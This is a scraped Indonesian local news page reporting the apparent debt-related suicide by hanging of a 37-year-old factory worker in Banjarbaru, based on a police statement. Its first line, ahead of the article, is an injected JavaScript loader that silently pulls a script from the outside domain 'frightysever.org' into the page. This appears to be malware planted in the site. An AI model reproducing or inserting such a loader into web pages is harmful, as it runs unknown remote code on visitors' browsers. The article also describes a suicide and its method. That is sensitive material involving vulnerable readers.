(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Motif terlihat utang diduga menjadi pemicu seorang lelaki 37 tahun akhiri hidup di sebuah kamar kontrakan Jalan SMPN 10 atau Jalan Ahmad Yani Km 19 Sejahtera, Kelurahan Landasan Ulin Barat, Kecamatan Liang Anggang, Kota Banjarbaru, Selasa (5/11/2024) malam.
Lelaki perantau asal Pulau Jawa itu sebelumnya didapati oleh temannya meninggal dunia di area ventilasi kamar kontrakan.
Peristiwa terjadi saat waktu magrib, dimana teman lelaki 37 tahun sekaligus saksi mata ini memeriksa kontrakan usai pulang bekerja sekitar pukul 18.00 Wita.
Dalam keterangannya, Kapolsek Liang Anggang, Kompol Yuda Kumoro Pardede menjelaskan, teman dan lelaki 37 tahun yang meninggal dunia itu sama-sama merantau dari Pulau Jawa pada tahun 2021.
Baca juga: Cari Keberadaan Paman Birin, KPK Periksa 5 Saksi
“Lelaki itu baru tinggal di kamar kontrakan sekitar satu bulan. Belum menikah dan tinggal sendirian di rumah kontrakan tersebut,” ujar Kapolsek Liang Anggang, Kompol Yuda Kumoro Pardede.
Masih dari keterangan saksi, Kapolsek mengatakan, selama ini lelaki asal Jawa itu tidak pernah bercerita kepada saksi terkait permasalahan yang tengah dihadapinya.
Namun, saat polisi melakukan penyelidikan didapati dari percakapakan handphone yang terbaca sebuah pesan WhatsApp tentang dirinya yang memiliki masalah utang.
“Sehingga diduga lelaki itu mengakhiri hidupnya karena mempunyai utang, hal tersebut dibenarkan oleh saksi yang pernah menyaksikan kalau temannya pernah mengajukan pinjaman ke bank,” jelas dia.
Baca juga: Bundaran Simpang Empat Banjarbaru Dipermak, Bakal ‘Bermandi’ Cahaya
Terakhir kali, kata Kapolsek, saksi bertemu dengan pegawai pabrik roti itu pada pagi hari, ketika mengantarkan saksi ke tempat kerja. Saat itu saksi mendengar temannya itu mengutarakan kalau ingin pindah tempat tempat tinggal.
Setelah didapat tak bernya dilakukan identifikasi Unit Inafis Polres Banjarbaru, kemudian jenazah dibawa oleh tim relawan emergency ke RSU Idaman Kota Banjarbaru untuk visum.
Hasil olah Unit Inafis Polres Banjarbaru serta pemeriksaan oleh tim dokter RSD Idaman didapati kesimpulan meninggal dunia karena murni gantung diri dan tidak ditemukan peristiwa pidana.
“Setelah menghubungi pihak keluarga di Pulau Jawa melalui nomor handphone, pihak keluarga juga tidak mengetahui penyebab mengakhiri hidupnya,” tandas Kapolsek. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar kegiatan bedah… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menerbitkan Surat Perintah Penangkapan (Sprinkap) lantaran Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tugu Bundaran Simpang Empat Banjarbaru akan dipercantik dengan bermandi cahaya lampu pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tim penyidik Komisi Pemberantasan Korupsi (KPK) pada Selasa (5/11/2024), memeriksa lima saksi… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lelaki 37 tahun ditemukan tak bernyawa di kontrakan Jalan SMPN 10 Kelurahan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sehubungan dengan masuknya musim penghujan Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar… Read More
This website uses cookies.